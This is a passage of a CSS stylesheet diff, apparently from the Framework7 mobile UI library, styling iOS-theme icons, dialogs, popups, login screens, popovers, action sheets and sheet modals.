url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-forward, +.ios .icon-forward.color-white, +.ios a.link.color-white .icon-forward, +.ios .color-theme-white .icon-next, +.ios .icon-next.color-white, +.ios a.link.color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-back, +.ios .icon-back.color-black, +.ios a.link.color-black .icon-back, +.ios .color-theme-black .icon-prev, +.ios .icon-prev.color-black, +.ios a.link.color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-forward, +.ios .icon-forward.color-black, +.ios a.link.color-black .icon-forward, +.ios .color-theme-black .icon-next, +.ios .icon-next.color-black, +.ios a.link.color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon.color-red { + color: #ff3b30; +} +.ios .icon.color-green { + color: #4cd964; +} +.ios .icon.color-blue { + color: #007aff; +} +.ios .icon.color-pink { + color: #ff2d55; +} +.ios .icon.color-yellow { + color: #ffcc00; +} +.ios .icon.color-orange { + color: #ff9500; +} +.ios .icon.color-gray { + color: #8e8e93; +} +.ios .icon.color-white { + color: #ffffff; +} +.ios .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .dialog { + width: 270px; + margin-left: -135px; + text-align: center; + border-radius: 13px; + color: #000; +} +.ios .dialog.modal-out { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.ios .dialog-inner { + padding: 15px; + border-radius: 13px 13px 0 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-title { + font-size: 18px; + text-align: center; + font-weight: 600; +} +.ios .dialog-title + .dialog-text { + margin-top: 5px; +} +.ios .dialog-buttons { + height: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .dialog-button { + width: 100%; + padding: 0 5px; + height: 44px; + font-size: 17px; + line-height: 44px; + text-align: center; + color: #007aff; + display: block; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + overflow: hidden; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-flex: 1; + -ms-flex: 1; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-button:first-child { + border-radius: 0 0 0 13px; +} +.ios .dialog-button:last-child { + border-radius: 0 0 13px 0; +} +.ios .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:first-child:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-button.dialog-button-bold { + font-weight: 500; +} +.ios .dialog-button.active-state { + background: rgba(230, 230, 230, 0.95); +} +.ios .dialog-buttons-vertical .dialog-buttons { + height: auto; +} +.ios .dialog-buttons-vertical .dialog-button { + border-radius: 0; +} +.ios .dialog-buttons-vertical .dialog-button:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-buttons-vertical .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .dialog-button:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .dialog-button:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .dialog-buttons-vertical .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-no-buttons .dialog-inner { + border-radius: 13px; +} +.ios .dialog-no-buttons .dialog-inner:after { + display: none !important; +} +.ios .dialog-input-field { + margin-top: 15px; +} +.ios .dialog-input-field .item-input-wrap { + margin: 0; +} +.ios .dialog-input { + height: 26px; + background: #fff; + padding: 0 5px; + border: 1px solid rgba(0, 0, 0, 0.3); + font-size: 14px; +} +.ios .dialog-input + .dialog-input { + margin-top: 5px; +} +.ios .dialog-input-double + .dialog-input-double { + margin-top: 0; +} +.ios .dialog-input-double + .dialog-input-double .dialog-input { + border-top: 0; + margin-top: 0; +} +.ios .dialog-preloader .dialog-title ~ .preloader, +.ios .dialog-preloader .dialog-text ~ .preloader { + margin-top: 5px; +} +.ios .dialog-preloader .preloader { + width: 34px; + height: 34px; +} +.ios .dialog-progress .dialog-title ~ .progressbar, +.ios .dialog-progress .dialog-text ~ .progressbar, +.ios .dialog-progress .dialog-title ~ .progressbar-infinite, +.ios .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 15px; +} +.ios .dialog-button.color-red { + color: #ff3b30; +} +.ios .dialog-button.color-green { + color: #4cd964; +} +.ios .dialog-button.color-blue { + color: #007aff; +} +.ios .dialog-button.color-pink { + color: #ff2d55; +} +.ios .dialog-button.color-yellow { + color: #ffcc00; +} +.ios .dialog-button.color-orange { + color: #ff9500; +} +.ios .dialog-button.color-gray { + color: #8e8e93; +} +.ios .dialog-button.color-white { + color: #ffffff; +} +.ios .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.ios .login-screen-content .login-screen-title, +.ios .login-screen-content .list, +.ios .login-screen-content .block { + margin: 25px auto; +} +.ios .login-screen-title { + font-size: 30px; +} +.ios .theme-dark .login-screen-content, +.ios .theme-dark .login-screen-content .list ul { + background-color: transparent; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.ios .popover { + background: rgba(255, 255, 255, 0.95); + border-radius: 13px; + -webkit-transform: none; + transform: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.ios .popover .list:first-child ul { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:first-child li:first-child, +.ios .popover .list:first-child li:first-child a, +.ios .popover .list:first-child li:first-child > label { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:last-child ul { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:last-child li:last-child, +.ios .popover .list:last-child li:last-child a, +.ios .popover .list:last-child li:last-child > label { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:first-child:last-child li:first-child:last-child, +.ios .popover .list:first-child:last-child li:first-child:last-child a, +.ios .popover .list:first-child:last-child li:first-child:last-child > label, +.ios .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.ios .popover .list + .list { + margin-top: 35px; +} +.ios .popover-angle { + width: 26px; + height: 26px; + position: absolute; + left: -26px; + top: 0; + z-index: 100; + overflow: hidden; +} +.ios .popover-angle:after { + content: ''; + background: rgba(255, 255, 255, 0.95); + width: 26px; + height: 26px; + position: absolute; + left: 0; + top: 0; + border-radius: 3px; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.ios .popover-angle.on-left { + left: -26px; +} +.ios .popover-angle.on-left:after { + left: 19px; + top: 0; +} +.ios .popover-angle.on-right { + left: 100%; +} +.ios .popover-angle.on-right:after { + left: -19px; + top: 0; +} +.ios .popover-angle.on-top { + left: 0; + top: -26px; +} +.ios .popover-angle.on-top:after { + left: 0; + top: 19px; +} +.ios .popover-angle.on-bottom { + left: 0; + top: 100%; +} +.ios .popover-angle.on-bottom:after { + left: 0; + top: -19px; +} +.ios .popover-from-actions .list + .list { + margin-top: 20px; +} +.ios .popover-from-actions .list ul { + background: #fff; +} +.ios .popover-from-actions .item-link i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .popover-from-actions-label { + padding: 8px 10px; + color: #8a8a8a; + font-size: 13px; + text-align: center; +} +.ios .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .popover, +.popover.ios .theme-dark { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .popover-angle:after, +.popover.ios .theme-dark .popover-angle:after { + background: rgba(30, 30, 30, 0.95); +} +.ios .theme-dark .popover .list ul, +.popover.ios .theme-dark .list ul { + background-color: transparent; +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.ios .actions-group { + margin: 8px; + border-radius: 13px; + overflow: hidden; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.ios .actions-button, +.ios .actions-label { + text-align: center; + overflow: hidden; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-button b, +.ios .actions-label b, +.ios .actions-button.actions-button-bold, +.ios .actions-label.actions-button-bold { + font-weight: 600; +} +.ios .actions-button:first-child, +.ios .actions-label:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-button:last-child, +.ios .actions-label:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-button:last-child:after, +.ios .actions-label:last-child:after { + display: none !important; +} +.ios .actions-button:first-child:last-child, +.ios .actions-label:first-child:last-child { + border-radius: 13px; +} +.ios .actions-button { + height: 57px; + line-height: 57px; + font-size: 20px; + color: #007aff; + white-space: normal; + text-overflow: ellipsis; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-button-media { + margin-left: 15px; +} +.ios .actions-button-media i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .actions-button-media + .actions-button-text { + text-align: left; + margin-left: 15px; +} +.ios .actions-label { + font-size: 13px; + min-height: 57px; + padding: 8px 10px; + color: #8a8a8a; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +@media (orientation: lanscape) { + .ios .actions-label { + min-height: 44px; + } + .ios .actions-button { + height: 44px; + line-height: 44px; + } +} +.ios .actions-grid .actions-group { + margin-top: 0; + border-radius: 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-grid .actions-group:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-grid .actions-group:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-grid .actions-group:first-child:last-child { + border-radius: 13px; +} +.ios .actions-grid .actions-group:not(:last-child) { + margin-bottom: 0; +} +.ios .actions-grid .actions-button, +.ios .actions-grid .actions-label { + border-radius: 0 !important; + background: none; +} +.ios .actions-grid .actions-button-media { + width: 48px; + height: 48px; + margin-left: auto; + margin-right: auto; +} +.ios .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.ios .actions-grid .actions-button-media + .actions-button-text { + text-align: center; +} +.ios .actions-grid .actions-button { + padding: 16px; + line-height: 1; + height: auto; +} +.ios .actions-grid .actions-button:after { + display: none !important; +} +.ios .actions-grid .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.ios .actions-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-button.color-red, +.ios .actions-label.color-red { + color: #ff3b30; +} +.ios .actions-button.color-green, +.ios .actions-label.color-green { + color: #4cd964; +} +.ios .actions-button.color-blue, +.ios .actions-label.color-blue { + color: #007aff; +} +.ios .actions-button.color-pink, +.ios .actions-label.color-pink { + color: #ff2d55; +} +.ios .actions-button.color-yellow, +.ios .actions-label.color-yellow { + color: #ffcc00; +} +.ios .actions-button.color-orange, +.ios .actions-label.color-orange { + color: #ff9500; +} +.ios .actions-button.color-gray, +.ios .actions-label.color-gray { + color: #8e8e93; +} +.ios .actions-button.color-white, +.ios .actions-label.color-white { + color: #ffffff; +} +.ios .actions-button.color-black, +.ios .actions-label.color-black { + color: #000000; +} +.ios.device-iphone-x .actions-modal.modal-in { + -webkit-transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + -webkit-transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: 